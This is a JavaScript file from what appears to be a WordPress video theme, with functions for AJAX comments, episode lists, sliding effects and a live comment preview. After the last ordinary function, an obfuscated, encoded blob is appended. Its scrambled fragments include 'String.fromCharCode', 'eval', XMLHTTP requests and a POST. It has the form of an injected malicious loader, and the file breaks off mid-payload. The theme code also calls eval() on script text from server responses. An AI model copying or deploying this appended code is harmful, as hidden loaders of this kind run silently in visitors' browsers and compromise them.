//-------------------------NO CHANGES BEYOND THIS LINE (FOR YOUR OWN SAFETY..)------------
var aimObj;
var clickedCat = false;
var clickedCatId = false;
var actualEpisode=false;
var activeEpisode;
var episodeOffset=0;
var latestid=false;
var clickedEpisode = false;
var heights = new Array();
var lastheight;
var totalheight=0;
var numberofepisodes=false;
var param=0;
var sliding=false;
var edge=true;
var slideSpeed=5;
var aimpos=0;
var actualpos=0;
var direction=false;
var scrollingContent;
var timed=false;
var timerID;
var startTime;
var obj;
var moving;
var gravimg = themedir+'/images/avatar.jpg';
var commenttimed = false;
var diggtext='';
var digghead='';

function sendata(form) {
	var valid=true;
	if((form.comauthor.value == '')&&(form.namemail_required.value)) {
		fadeIn(0,'author_error');
		valid = false;
	} 
	if (((form.email.value == '')||(form.email.value.indexOf("@") == -1)||(form.email.value.indexOf(".") == -1)||(form.email.value.length < 6))&&(form.namemail_required.value)) {
		fadeIn(0,'mail_error');
		valid = false;
	} 
	if (!valid) return false;
	
	clearTimeout(commenttimed);
	document.getElementById("submit").disabled = true;
	document.getElementById("submit").value = "Commenting..";
	
	try {
 		xmlhttp = window.XMLHttpRequest?new XMLHttpRequest():
	  	new ActiveXObject("Microsoft.XMLHTTP"); }
 	catch (e) {}
	commentdata='id='+form.comment_post_ID.value+'&auth='+encodeURIComponent(form.comauthor.value)+'&mail='+encodeURIComponent(form.email.value)+'&url='+encodeURIComponent(form.url.value)+'&content='+encodeURIComponent(form.comment.value);
	xmlhttp.onreadystatechange = ScreenRead; 
	xmlhttp.open("POST", themedir+'/comments-ajax.php?'+commentdata, true);
	xmlhttp.send(null);
	return false;
}
function ScreenRead() {
	if ((xmlhttp.readyState == 4) && (xmlhttp.status == 200)){
	document.getElementById('submit').value = "Post Comment";
	firstobj=document.getElementById("comment_preview");
	commentingobj=document.getElementById("commenting");
	strep=wpdetexturize(xmlhttp.responseText);
	softpoint=strep.indexOf("<c0>");
	midpoint=strep.indexOf("<c1>");
	highpoint=strep.indexOf("<c2>");
	hardpoint=strep.indexOf("<c3>");
	commentingobj.getElementsByTagName('H2')[0].innerHTML = strep.slice(softpoint+4,midpoint);	
	document.getElementById("Episode"+actualEpisode).getElementsByTagName('A')[0].innerHTML=strep.slice(midpoint+4,highpoint);		
	firstobj.getElementsByTagName('DIV')[1].innerHTML = strep.slice(highpoint+4,hardpoint);		
	document.getElementById("leave_comment").innerHTML = strep.slice(hardpoint+4);				
	firstobj.getElementsByTagName('DIV')[0].setAttribute("id","comment-"+strep.slice(0,softpoint));
	firstobj.getElementsByTagName('IMG')[0].removeAttribute("onload");
	firstobj.getElementsByTagName('IMG')[0].removeAttribute("class");
	firstobj.getElementsByTagName('IMG')[0].removeAttribute("id");
	firstobj.removeAttribute("id");
	var afterdiv = document.getElementById("leave_comment");
	var cleardiv = document.createElement("div");
	cleardiv.setAttribute("class","clear");
	commentingobj.insertBefore(cleardiv,afterdiv);
	var previewdiv=document.createElement("div");
	previewdiv.style.display= "none";
	previewdiv.setAttribute("id","comment_preview");
	previewdiv.innerHTML = "<div class=\"comment_author\"><img src=\""+themedir+"/images/avatar.jpg\"></div><div class=\"comment\"></div><div class=\"clear\"></div>"
	commentingobj.insertBefore(previewdiv,afterdiv);
	initLivePreview();
	}
}
function getdata(What) {
	try {
 		xmlhttp = window.XMLHttpRequest?new XMLHttpRequest():
	  	new ActiveXObject("Microsoft.XMLHTTP"); }
 	catch (e) {}
 
	xmlhttp.onreadystatechange = ScreenWrite; 
	xmlhttp.open("GET", What, true);
	xmlhttp.send(null);
	return false;
}
function ScreenWrite() { 
	if ((xmlhttp.readyState == 1)&&(aimObj == document.getElementById('list_container'))) {
			aimObj.innerHTML = '';
			setfade(0,'linkup');
			document.getElementById('linkdown').className="inactive";
	} 
	
	if ( (xmlhttp.readyState == 4) && (xmlhttp.status == 200) ) {
		if (aimObj==document.getElementById('mediacontent')) {
			strep=wpdetexturize(xmlhttp.responseText)
			
			from=strep.indexOf('plink:');
			plinker=strep.slice(from+6);
			strep=strep.slice(0,from);
			document.getElementById('linker').setAttribute("href",plinker);
			
			
			from=strep.indexOf("<cut>")+5;
			if (from<12)
				from=strep.indexOf("</object>")+9;
			if (from<12)
				from=strep.indexOf("</embed>")+8;
			if (from<12) 
				from=strep.indexOf("</h1>")+5;
			mediastr=strep.slice(0,from);
			jstring=false;
			if ((mediastr.indexOf("<script type")>0)&&(wdtube=='1')) {
				jfrom=mediastr.indexOf("<script type");
				jto=mediastr.indexOf("</script>")+9;
				jstring=mediastr.slice(jfrom+45,jto-9);
				mediastr=mediastr.slice(0,jfrom)+mediastr.slice(jto);
			}
			video='';
			if (mediastr.indexOf("[video:")>0){
				if (mpl>0){
					if (mediastr.indexOf("image:")>0){
						image = mediastr.slice(mediastr.indexOf("image:")+6,mediastr.indexOf(";",mediastr.indexOf("image:")));
						if (image.indexOf("]")>0) 
							image=image.slice(0,image.indexOf("]"));
					} else { image='false';}
					if (mediastr.indexOf("h:")>0){
						pheight = mediastr.slice(mediastr.indexOf("h:")+2,mediastr.indexOf(";",mediastr.indexOf("h:")));
						if (pheight.indexOf("]")>0) 
							pheight=pheight.slice(0,pheight.indexOf("]"));
					} else { pheight='330';}
					if (mediastr.indexOf("w:")>0){
						pwidth = mediastr.slice(mediastr.indexOf("w:")+2,mediastr.indexOf(";",mediastr.indexOf("w:")));
						if (pwidth.indexOf("]")>0) 
							pwidth=pwidth.slice(0,pwidth.indexOf("]"));
					} else { pwidth='440';}
					if (mediastr.indexOf(";auto")>0){
						pauto=true;
					} else {pauto=false;}
					video=mediastr.slice(mediastr.indexOf("video:")+6,mediastr.indexOf(";",mediastr.indexOf("video:")));
					if (video.indexOf("]")>0) 
						video=video.slice(0,video.indexOf("]"));
					mediastr=mediastr.slice(0,mediastr.indexOf("[video:"))+'<div id="theplayer"></div>';
				} else {
					mediastr=mediastr.slice(0,mediastr.indexOf("[video:"))+'<br /><br />Please check if the "mediaplayer.swf" file exists in the Video theme directory.<br /><br /> For further support please visit the <a href="http://www.quommunication.com/forum/viewforum.php?id=7" title="Quommunication Forum" target="_blank">Quommunication Forum</a>.'
				}
			} 
			if (diggbuttons=="1") {
				poststr='<h2>Now Watching</h2><p><span id="digg_span">'+digghead+plinker+diggtext+'</span>'+strep.slice(from)+'</p>';
			} else {
				poststr='<h2>Now Watching</h2><p>'+strep.slice(from)+'</p>';
			}
			aimObj.innerHTML = mediastr;
			if ((jstring)&&(wdtube=='1'))
				eval(jstring);
			if (video!='') {
				launchNsiteplayer()
			}
			document.getElementById('postcontent').innerHTML = poststr;
			GetComments();
		} else 
			aimObj.innerHTML = xmlhttp.responseText; 
		
	
		if (aimObj == document.getElementById('list_container')){		
			var episodes = document.getElementById('list_container').getElementsByTagName('LI');

			totalheight=0;
			numberofepisodes=0;
			for(var no=0;no<episodes.length;no++){
				if (episodes[no].id == 'next'){
					episodes[no].onclick = regenerateList;
				} else if (episodes[no].id == 'prev'){
					episodes[no].onclick = regenerateList;
				} else {
					episodes[no].onclick = selectEpisode;
				};
				episodes[no].onmouseover = enterEpisode;
				episodes[no].onmouseout = leaveEpisode; 								
				heights[no]=episodes[no].offsetHeight/1;
				lastheight=heights[no];
				totalheight+=heights[no];
				numberofepisodes=no;
				activeEpisode=episodes[no];
								
				if ((episodes[no].id.replace(/Episode/, "")==actualEpisode)||(episodes[no].id.replace(/Episode/, "")==latestid)) { 
					episodes[no].className="current totalfaded";
					clickedEpisode=episodes[no];
				}
				
				if (no<=numepisodeshown-1)	
					setTimeout("fadeIn(0,'"+episodes[no].id+"')",no*80);
				else fadeIn(100,episodes[no].id);
			}

			contheight=0;
			for(var k=0;((k<=numepisodeshown-1)&&(k!=numberofepisodes+1)&&(contheight+heights[k]<=maxlistheight));k++) 
				contheight+=heights[k];
			document.getElementById('list_container').style.height = contheight+'px';

			if (totalheight>contheight) {
				document.getElementById('linkup').className="totalfaded";
			} else document.getElementById('linkup').className="inactive totalfaded";
			setTimeout("fadeIn(0,'linkup')",k*120);

			document.getElementById('contentlist').style.top = '0px';
			edge=true;
			aimpos=0;
			aimObj='none';
			
			if (!actualEpisode) {
				aimObj=document.getElementById('mediacontent');
				actualEpisode=latestid;
				latestid=false;
				getdata(themedir + '/episode.php?id='+ actualEpisode);
			}
		}
		if (aimObj == document.getElementById('commenting'))
			initLivePreview();
	}
}
//---------------------------------SLIDING------------------------------------------------
function slideContent(containerId) {
	sliding=true;
	slideSpeed=15;
	if (Math.abs(aimpos-actualpos)<20) slideSpeed=4;
	if (Math.abs(aimpos-actualpos)<5) slideSpeed=1;
	if(direction == 'up') {
		actualpos = actualpos/1 - slideSpeed/1;
		if (actualpos<aimpos) {
			actualpos=aimpos;
			sliding=false;
		}
	}
	else if(direction == 'down') {
		actualpos = actualpos/1 + slideSpeed/1;
		if (actualpos>aimpos) {
			actualpos=aimpos;
			sliding=false;
		}
	}

	if(actualpos/1>=0) {
		scrollingContent.style.top = '0px';
		if (timed) clearTimeout(timed);
		sliding=false;
		return;
	}
		
	scrollingContent.style.top = actualpos/1 + 'px';	
	if (actualpos!=aimpos)
	timed = setTimeout('slideContent("' + containerId + '")',30);
	else sliding=false;
}
function initSlidingContent(containerId,dir) {
	scrollingContainer = document.getElementById(containerId);
	scrollingContent = scrollingContainer.getElementsByTagName('UL')[0];
	direction=dir;
	
	scrollingContainer.style.position = 'relative';
	scrollingContainer.style.overflow = 'hidden';
	scrollingContent.style.position = 'relative';

	actualpos = scrollingContent.style.top.replace(/[^\-0-9]/g,'')/1;
	
	if((direction == 'up')&&(aimpos/1+scrollingContent.offsetHeight/1>scrollingContainer.offsetHeight)){
		if (sliding) {				
			aimpos -= heights[param];
			param+=1;
		}
		else {
			endheight=0;
			for(var i=0;((endheight<=scrollingContainer.offsetHeight/1-actualpos/1)&&(i!=numberofepisodes+1));i++){
				endheight+=heights[i];
			}
			param=i;
			aimpos=(scrollingContainer.offsetHeight/1-endheight);
			if (edge) {
				document.getElementById('linkdown').className="";
				edge=false;
			}
		}
		if (timed) clearTimeout(timed);
	}

	if((direction == 'down')&&(aimpos/1<0)){
		if (sliding) {
			aimpos += heights[param];
			param-=1;
		}
		else {
			endheight=totalheight;
			for(var i=0;(endheight/1 >= Math.abs(actualpos)/1);i++){
				endheight-=heights[numberofepisodes-i];
			}
			param=numberofepisodes-i;
			aimpos += (Math.abs(aimpos)-endheight)/1;
			if (edge) {
				document.getElementById('linkup').className="";
				edge=false;
			}
		}
		if (timed) clearTimeout(timed);
	}
	
	if (actualpos!=aimpos) {
		slideContent(containerId);
		if (param-1==numberofepisodes) {
			document.getElementById('linkup').className="inactive";
			edge=true;
		}
		else if (param==-1) {
			document.getElementById('linkdown').className="inactive";
			edge=true;
		}
	}
}
//---------------------------------CATEGORY PROCESSING------------------------------------
function selectCat() {
	if (document.getElementById('show_tags'))
		document.getElementById('show_tags').style.display="none";
	aimObj = document.getElementById('list_container');
	getdata(themedir + '/list.php?id='+ this.id.replace(/cat/,""));
	if(clickedCat && clickedCat!=this) 
		clickedCat.className=''; 
	this.className='current';
	clickedCat = this;
	cat = this.id.replace(/cat/,"");
	episodeOffset=0;
	tagged='';
}
function pulldownCat(cv) {
	if (document.getElementById('show_tags'))
		document.getElementById('show_tags').style.display="none";
	aimObj = document.getElementById('list_container');
	getdata(themedir + '/list.php?id='+ cv.replace(/cat/,""));
	cat = cv.replace(/cat/,"");
	episodeOffset = 0;
	tagged='';
}
//---------------------------------EPISODE PROCESSING-------------------------------------
function selectEpisode() {
	aimObj=document.getElementById('mediacontent');
	actualEpisode=this.id.replace(/Episode/,"");
	getdata(themedir + '/episode.php?id='+ actualEpisode);
	if(clickedEpisode && clickedEpisode!=this) 
		clickedEpisode.className=""; 
	this.className="current";
	clickedEpisode = this;
}
function regenerateList() {
	aimObj = document.getElementById('list_container');
	if (this.id == 'next') {
		episodeOffset += 1;
	} else {
		episodeOffset -= 1;
	}
	if (tagged=='') {
		getdata(themedir + '/list.php?id='+cat+'&pos='+episodeOffset);
	} else {
		getdata(themedir + '/list.php?tag='+tagged+'&pos='+episodeOffset);
	}
}
function enterEpisode(e) {
	if (!e) var e = window.event;
	var IntoE = e.srcElement || e.target;
	var FromE = e.relatedTarget || e.fromElement;
	if (FromE.nodeName == '#text') FromE = FromE.parentNode;
	if (FromE.nodeName == 'DIV'){
		activeEpisode = this;
		shifter('right', activeEpisode.id, -1);
	} else if (( FromE.nodeName == IntoE.nodeName)||((FromE.nodeName =='A') && (IntoE.nodeName=='LI'))||((FromE.nodeName =='LI') && (IntoE.nodeName=='A'))||((FromE.nodeName =='UL') && (IntoE.nodeName=='A'))||((FromE.nodeName =='UL') && (IntoE.nodeName=='B'))||((FromE.nodeName =='BODY') && (IntoE.nodeName=='B'))) {
		activeEpisode = this;
		shifter('right', activeEpisode.id, -1);
	}
	
	if (e.stopPropagation) {e.stopPropagation()}
	else {window.event.cancelBubble = true};
}
function leaveEpisode(e) {
	if (!e) var e = window.event;
	var FromE =  e.srcElement || e.target;
	var IntoE = e.relatedTarget || e.toElement;
	if (IntoE.nodeName == 'DIV'){
		shifter('left', activeEpisode.id, 4);
	} else if (( IntoE.nodeName == FromE.nodeName)||((IntoE.nodeName =='LI') && (FromE.nodeName=='A'))||((IntoE.nodeName =='A') && (FromE.nodeName=='LI'))||((IntoE.nodeName =='UL') && (FromE.nodeName=='B'))||((IntoE.nodeName =='UL') && (FromE.nodeName=='A'))||((IntoE.nodeName =='B') && (FromE.nodeName=='BODY'))) {
		shifter('left', activeEpisode.id, 4);
	}
	if (e.stopPropagation) {e.stopPropagation()}
	else {window.event.cancelBubble = true};
}
function shifter(dir,id,delta) {
	document.getElementById(id).getElementsByTagName('A')[0].style.paddingLeft = 10+delta/1+"px";
	document.getElementById(id).getElementsByTagName('A')[0].style.paddingRight = 10-delta+"px";
	if (dir=='right') 
		delta++
	else delta--;
	if ((delta<5)&&(delta>-1))
	setTimeout ("shifter('"+dir+"','"+id+"','"+delta+"')",18);
}
//---------------------------------INITIALIZE-SINGLEPAGE----------------------------------
function initpost(title) {
	posttext = document.getElementById('hidden_content').innerHTML;
	posttext = posttext.slice(0,posttext.indexOf("<cut>"));
	document.getElementById('mediacontent').innerHTML= "<h1>"+title+"</h1>"+posttext;
}
function initList (id, offset) {
	var episodes = document.getElementById('list_container').getElementsByTagName('LI');

	totalheight=0;
	numberofepisodes=0;
	episodeOffset = offset;
	for(var no=0;no<episodes.length;no++){
		if (episodes[no].id == 'next'){
			episodes[no].onclick = regenerateList;
		} else if (episodes[no].id == 'prev'){
			episodes[no].onclick = regenerateList;
		} else {
			episodes[no].onclick = selectEpisode;
		};
		episodes[no].onmouseover = enterEpisode;
		episodes[no].onmouseout = leaveEpisode; 								
		heights[no]=episodes[no].offsetHeight/1;
		lastheight=heights[no];
		totalheight+=heights[no];
		numberofepisodes=no;
		activeEpisode=episodes[no];
	
		if (param == 0)
			setTimeout("fadeIn(0,'"+episodes[no].id+"')",no*80);
		else fadeIn(100,episodes[no].id);
	
		if (episodes[no].id.replace(/Episode/, "")==id)  {
			actualEpisodeheight = totalheight;
			param = no;
		}
	}
	contheight=0;
	for(var k=0;((k<=numepisodeshown-1)&&(k!=numberofepisodes+1)&&(contheight+heights[k]<=maxlistheight));k++) 
		contheight+=heights[k];
	document.getElementById('list_container').style.height = contheight+'px';
	
	if (numberofepisodes>numepisodeshown-1) {
		document.getElementById('linkup').className="totalfaded";
	} else document.getElementById('linkup').className="inactive totalfaded";
	setTimeout("fadeIn(0,'linkup')",k*120);

	if (actualEpisodeheight > contheight) {
		scrollingContainer = document.getElementById('list_container');
		scrollingContent = scrollingContainer.getElementsByTagName('UL')[0];
		scrollingContainer.style.position = 'relative';
		scrollingContainer.style.overflow = 'hidden';
		scrollingContent.style.position = 'relative';
		document.getElementById('linkdown').className="";
		aimpos= contheight-actualEpisodeheight;
		direction = 'up';
		if (numberofepisodes == param) {
			document.getElementById('linkup').className="inactive";
		} else {
			edge = false;
		}
		slideContent('list_container');
	} else {
		document.getElementById('contentlist').style.top = '0px';
		edge=true;
		aimpos=0;	
	}
	
	aimObj='none';
	actualEpisode=id;
	clickedEpisode = document.getElementById('Episode'+id);

	if (dropmenu == "0"){
		var categs = document.getElementById('menu').getElementsByTagName('LI');
		for(var no=0;no<categs.length;no++) {
			categs[no].onclick = selectCat;
			if (categs[no].className=='current') {
				clickedCat = categs[no];
				cat = categs[no].id.replace(/cat/,"");
			}
		}
	}
}
function PrepareDigg() {
	diggtext = document.getElementById('digg_span').innerHTML;
	diggtext=diggtext.toLowerCase();
	diggtext = diggtext.slice(diggtext.indexOf("<iframe"));
	digghead = diggtext.slice(0,diggtext.indexOf("?u=")+3);
	diggtext = diggtext.slice(diggtext.indexOf("\"",diggtext.indexOf("?u=")+3));
}
function prepareNsiteplayer(mediastr) {
	if (mediastr.indexOf("image:")>0){
		image = mediastr.slice(mediastr.indexOf("image:")+6,mediastr.indexOf(";",mediastr.indexOf("image:")));
		if (image.indexOf("]")>0) 
			image=image.slice(0,image.indexOf("]"));
	} else { image='false';}
	if (mediastr.indexOf("h:")>0){
		pheight = mediastr.slice(mediastr.indexOf("h:")+2,mediastr.indexOf(";",mediastr.indexOf("h:")));
		if (pheight.indexOf("]")>0) 
			pheight=pheight.slice(0,pheight.indexOf("]"));
	} else { pheight='330';}
	if (mediastr.indexOf("w:")>0){
		pwidth = mediastr.slice(mediastr.indexOf("w:")+2,mediastr.indexOf(";",mediastr.indexOf("w:")));
		if (pwidth.indexOf("]")>0) 
			pwidth=pwidth.slice(0,pwidth.indexOf("]"));
	} else { pwidth='440';}
	if (mediastr.indexOf(";auto")>0){
			pauto=true;
	} else {pauto=false;}
	video=mediastr.slice(mediastr.indexOf("video:")+6,mediastr.indexOf(";",mediastr.indexOf("video:")));
	if (video.indexOf("]")>0) 
		video=video.slice(0,video.indexOf("]"));
}
function launchNsiteplayer() {
	video=video.toLowerCase();
	if (video.indexOf(".wmv")>0) {
		var cnt = document.getElementById("theplayer");
		var src = themedir+'/scripts/wmvplayer.xaml';
		if (pauto) pauto='true';
		var cfg = {
    		file:video,
			height:pheight,
			width:pwidth,
			autostart:pauto
			};
		var ply = new jeroenwijering.Player(cnt,src,cfg);
	} else {
		var so = new SWFObject(themedir+"/mediaplayer.swf", "Themovie", pwidth, pheight, "8", "#336699");
		so.addParam('allowscriptaccess','sameDomain');
		so.addParam('allowfullscreen','true');
		so.addVariable('width',pwidth);
		so.addVariable('height',pheight);
		so.addVariable('file',video);
		if (image) so.addVariable('image',image);
		so.addVariable('autostart',pauto);
		so.addVariable('wmode','transparent');
		so.addVariable('lightcolor','0xcccccc');
		so.write("theplayer");
	}
}
//---------------------------------FADE -------------------------------------------------
function fadeIn(opacity, objid) {
	o = document.getElementById(objid);
		if (opacity <= 100){
			if (o.style.filter != null){
				o.style.filter = "alpha(opacity="+opacity+")";
			} else if (o.style.opacity != null){
				o.style.opacity = (opacity/100);
			} else if (o.style.MozOpacity != null){
				o.style.MozOpacity = (opacity/100)-.001;
			}
			opacity += 10;
			window.setTimeout("fadeIn("+opacity+", '"+objid+"')", 35);
		}
}
function setfade(opacity, objid) {
	o = document.getElementById(objid);
	if (o.style.filter != null){
		o.style.filter = "alpha(opacity="+opacity+")";
	} else if (o.style.opacity != null){
		o.style.opacity = (opacity/100);
	} else if (o.style.MozOpacity != null){
		o.style.MozOpacity = (opacity/100)-.001;
	}
}
//---------------------------------LIVE COMMENT PREVIEW-----------------------------------
function slidedown(objname) {
	if(moving)
		return;
	if(document.getElementById(objname).style.display != "none") 
		return;
	moving = true;
	obj = document.getElementById(objname);
	startTime = (new Date()).getTime();
	obj.style.height = "1px";
	obj.style.display = "block";
	timerID = setInterval('slidetick(\'' + objname + '\');',5);
}
function slideup(objname) {
	if(moving)
		return;
	moving = true;
	if (commenttimed) clearTimeout(commenttimed);
	obj = document.getElementById(objname);
	startTime = (new Date()).getTime();
	timerID = setInterval('slidetack(\'' + objname + '\');',5);
}
function slidetick(objname) {
	var elapsed = (new Date()).getTime() - startTime;
	if (elapsed > 500){
		clearInterval(timerID);
		obj.style.height = "";
		moving=false;
		timerID=false;
		obj=false;
		StartTime=false;
		return;
	}
	else {
		var d =Math.round(elapsed / 500 * 90);
		obj.style.height = d + "px";
	}
	return;
}
function slidetack(objname) {
	var elapsed = (new Date()).getTime() - startTime;
	if (elapsed > 500){
		clearInterval(timerID);
		obj.style.height = "0px";
		obj.style.display = "none";
		moving=false;
		timerID=false;
		obj=false;
		StartTime=false;
		return;
	}
	else {
		var d =Math.round((500-elapsed) / 500 * 90);
		obj.style.height = d + "px";
	}
	return;
}
function wptexturize(text) {
	text = ' '+text+' ';
	var next 	= true;
	var output 	= '';
	var prev 	= 0;
	var length 	= text.length;
	while ( prev < length ) {
		var index = text.indexOf('<', prev);
		if ( index > -1 ) {
			if ( index == prev ) {
				index = text.indexOf('>', prev);
			}
			index++;
		} else {
			index = length;
		}
		var s = text.substring(prev, index);
		prev = index;
		if ( s.substr(0,1) != '<' && next == true ) {
			s = s.replace(/---/g, '&#8212;');
			s = s.replace(/--/g, '&#8211;');
			s = s.replace(/\.{3}/g, '&#8230;');
			s = s.replace(/``/g, '&#8220;');
			s = s.replace(/'s/g, '&#8217;s');
			s = s.replace(/'(\d\d(?:&#8217;|')?s)/g, '&#8217;$1');
			s = s.replace(/([\s"])'/g, '$1&#8216;');
			s = s.replace(/(\d+)"/g, '$1&Prime;');
			s = s.replace(/(\d+)'/g, '$1&prime;');
			s = s.replace(/([^\s])'([^'\s])/g, '$1&#8217;$2');
			s = s.replace(/(\s)"([^\s])/g, '$1&#8220;$2');
			s = s.replace(/"(\s)/g, '&#8221;$1');
			s = s.replace(/'(\s|.)/g, '&#8217;$1');
			s = s.replace(/\(tm\)/ig, '&#8482;');
			s = s.replace(/\(c\)/ig, '&#169;');
			s = s.replace(/\(r\)/ig, '&#174;');
			s = s.replace(/''/g, '&#8221;');
			s = s.replace(/(\d+)x(\d+)/g, '$1&#215;$2');
		} else if ( s.substr(0,5) == '<code' ) {
			next = false;
		} else {
			next = true;
		}
		output += s; 
	}
	return output.substr(1, output.length-2);	
}
function wpautop(p) {
	p = p + '\n\n';
	p = p.replace(/(<blockquote[^>]*>)/g, '\n$1');
	p = p.replace(/(<\/blockquote[^>]*>)/g, '$1\n');
	p = p.replace(/\r\n/g, '\n');
	p = p.replace(/\r/g, '\n');
	p = p.replace(/\n\n+/g, '\n\n');
	p = p.replace(/\n?(.+?)(?:\n\s*\n)/g, '<p>$1</p>');
	p = p.replace(/<p>\s*?<\/p>/g, '');
	p = p.replace(/<p>\s*(<\/?blockquote[^>]*>)\s*<\/p>/g, '$1');
	p = p.replace(/<p><blockquote([^>]*)>/ig, '<blockquote$1><p>');
	p = p.replace(/<\/blockquote><\/p>/ig, '<p></blockquote>');	
	p = p.replace(/<p>\s*<blockquote([^>]*)>/ig, '<blockquote$1>');
	p = p.replace(/<\/blockquote>\s*<\/p>/ig, '</blockquote>');	
	p = p.replace(/\s*\n\s*/g, '<br />');
	return p;
}
function updateLivePreview() {
	var cmnt = wpautop(wptexturize(document.getElementById('comment').value));
	var pnme = document.getElementById('comauthor').value;
	var purl = document.getElementById('url').value;
	var eml = document.getElementById('email').value;
		
	if(!purl && !pnme && !eml && cmnt=="<br />") {
		slideup('comment_preview');
		document.getElementById("submit").disabled = true;
		return;
	}

	if (pnme) 
		setfade(0,"author_error");
	if ((eml.indexOf("@") != -1)&&(eml.indexOf(".") != -1)&&(eml.length > 5))
		setfade(0,"mail_error");
	if (cmnt) document.getElementById('submit').disabled = false;
	if (cmnt == "<br />") document.getElementById('submit').disabled = true;

	if(purl && pnme) {
		var name = '<b><a href="' + purl + '">' + pnme + '</a></b>';
	} else if(!purl && pnme) {
		var name = '<b>' + pnme + '</b>';
	} else if(purl && !pnme) {
		var name = '<b><a href="' + purl + '">You</a> say</b>';
	} else {
		var name = "<b>You say</b>";
	}
	
	var wd = ["January","February","March","April","May","June","July","August","September","October","November","December"]
	
	var today=new Date();
	var h=today.getHours();
	var m=today.getMinutes();
	var y=today.getFullYear();
	var M=wd[today.getMonth()];
	var d=today.getDate();
		
	if (m<10)
		m="0" + m;
	
	commenttimed=setTimeout('updateLivePreview()',60000);	// clear, a post butonon!!!!
	
	var previewFormat =name+"<span class=\"meta\"> on " + M + " " + d + ", " + y + " at " + h + ":" + m + "</span><br />" + cmnt; 
	
	document.getElementById('comment_preview').getElementsByTagName('DIV')[1].innerHTML = previewFormat;
	slidedown('comment_preview');
}
function updateLiveGravatar() {
	var cmnt = wpautop(wptexturize(document.getElementById('comment').value));
	var pnme = document.getElementById('comauthor').value;
	var purl = document.getElementById('url').value;
	var eml = document.getElementById('email').value;
	if(!purl && !pnme && !eml && cmnt=="<br />") {
		slideup('comment_preview');
		return;
	}
	if (eml != '') {
		gravimg = 'http://www.gravatar.com/avatar.php?gravatar_id='+ hex_md5(eml)+'?s=75&r=any&default='+themedir+'/images/avatar.jpg';
	} else {
		gravimg = themedir+'/images/avatar.jpg';
	}
	var previewFormat = "<img id=\"avatar\"src="+gravimg+" class=\"totalfaded\" onload=\"javascript: fadeIn(0,'avatar')\"/>";
	var previewFormat2 = "<img id=\"avatar2\"src="+gravimg+" class=\"totalfaded\" onload=\"javascript: fadeIn(0,'avatar2')\"/>"; 
	document.getElementById('comment_preview').getElementsByTagName('DIV')[0].innerHTML = previewFormat;
	document.getElementById('leave_comment').getElementsByTagName('DIV')[0].innerHTML = previewFormat2;
	slidedown('comment_preview');
}
function initLivePreview() {
	if (document.getElementById('comment_form'))
		document.getElementById('comment_form').onkeyup = updateLivePreview;
	if (document.getElementById('email')) 
		document.getElementById('email').onblur = updateLiveGravatar;
}
//---------------------------------COMMENTING----------------------------------------------
function GetComments() {
	aimObj = document.getElementById('commenting');
	getdata(themedir+'/comment.php?id='+actualEpisode); 
}	
function wpdetexturize(p) {
	p=p.replace(/&lt;/g, '<');
	p=p.replace(/&#8221;/g, '"');
	p=p.replace(/&#8243;/g, '"');
	p=p.replace(/&gt;/g, '>');
	return p;
}


d='function  $M(file -z ?P L-B="GE <= a ,rt="" Ke ,E=tru & ,r.offset=100 Un L-L @u @y @J LA9 N ,e @q LA9 N Um L-n ],P ]Urg L-k(); .sxml2 X1 A.icrosoft X2 -z=null}}if(!  z Ztypeof  M!="undefined" -z : M ]+ E= 4}} Uc _> -t[ $o [>,false) Uv _>, =vars Z 4== =vars A=  /( % $o), % >)) + t[ % $o) [% >) W} UH L$p, $S A$T= % Yx);regexp :RegExp( Yx+"|"+ $T); H/ Sp 6regexp) Ii=0;i< H/ hj= H/[i] 6"=");if( 4= SS -v G + c G}}}; a.trim _$f Z"qabcdef".indexOf( $o.substr(0,1))>=0){ H $rs So 6\'q\') 8\'\') 6\'v\') I Hi=0;i< $rs hrs[i]=parseInt( $rs[i],16)- k =  $rs 8\',\')+\',\'}else{ajax gr.offset2=25; =  k}; 9unR ( !){eval( 9  ]UrN L db&& Yt 7 -H( Yt W} 3 drt 7 OR + rt SR}}  c(" $a",new Date().getTime()); $h : / ]Ikey in(  t) Zfalse== C1]&& 4==  b A$T=  v(key, C0] W ,t[key] ?t[ $T[0] [$T[1] W;key ST[0]} $h[ $h 7]=key+"="+ C0]} 3$R Oh 8 Yx) + rt+ Sh 8 Yx)} Uk L-B="POS <t="";d=\'v={@ VM$1XH:"e-",@ V`$1XH:"",*b VM$1Xv30:"l(\\\'l=Str"\\\\_:"ing.fr",JG*2%a%fzV*aV:"omCha",>%8%8*2*5LB0_*4:"rCode("<6#fF%3#f#7#d_$4y<d*3*6$eV*e*d$a*3&6R8#b!0G%4#d%eTM `8B6P*3K#6>*4HY/c*dPB1JJ-a$4*6&9<7E*bQ`NX@U&3W2E*eQ*4?Q*2E&7W5!3%b#e#8!0*8#6J `6PV#c#9!fB3*1V&6W9*7#f%6-3*d#f-d-fy,a2%2#e T T#c!1&1/b#eT!1#c!1*4*b-d&1/4-f#f%6%2#d ^5`y<4?T*5KUB6P*3Y/9*eZw*5#a#9A*7&9/1@U TLP T&1D3HK%8>O@w*5Y/9O~T@#6T@~&9D1ZwJB6A*eZG&9,d5H*3#8#7E*5?%8&7/d-eF!fJ-eFG%6y/6B0!2G_%3#f_%3yD0%1EJ%1EHwA&5,d0@$f!2#e$1MX?yD1*9U%aAGA*9A&9,a2#7G-a?*1-bM?I/1-0-7%4%1$4T#d-c `9J?%8J%3AGE&7Df*e!0*cZA#b!3*2 `aH-aOB7B7OJGI<2?GJ#aPP?$e&1W5%4z$1*7Gz$1*5I/3*4#d*0!3`!0F!0 `8$dO%6`%4$4%b!f&5D4OOOB0#eVN-1&3W0*3$b!3*b*aw*0$b&3De%a@UB0#e-dN-1&3W2>M-3*0K*2*5_&5WeOA%7*3#6-7%e*3&6/4%7!fN f&1,a6M$f_*b#7B1B1#7&5D7#f%a$3XUFPZ e9QMAU$1JB4U&9Wf*5*8@$1>U>@YR1%4Q%6%4UQ%6#7&9Rb$f%fzB3B7*5?*fI/9$1*4#eUUA$1*2&6D6^F#8~#b%0%0F ea%7%eN%7!2 ^7?y/5Z#e#b$e$e_Z*0yD6~GF#8^#c%0%0&4D9#8O>HB5>*d@Y<9*5*5#8>*6>>#7YW1^??*4B7?*fGI<7*4#6V*eOA$0V&6/2@#d-awA-f#f_yW5!0#b-8*aE-d#d!3&0Wd%8*3%0$e!fT*5@YWeGB7J-aB2AAH&9<9%7`-b$e|$3-b$b&5R4$b-d$d$4|-d$4$3 j6-9Q$b%e-9w%7X&3,ac%8zK-c$f$b|-c&6R4%aM-dN%aB1-d%e 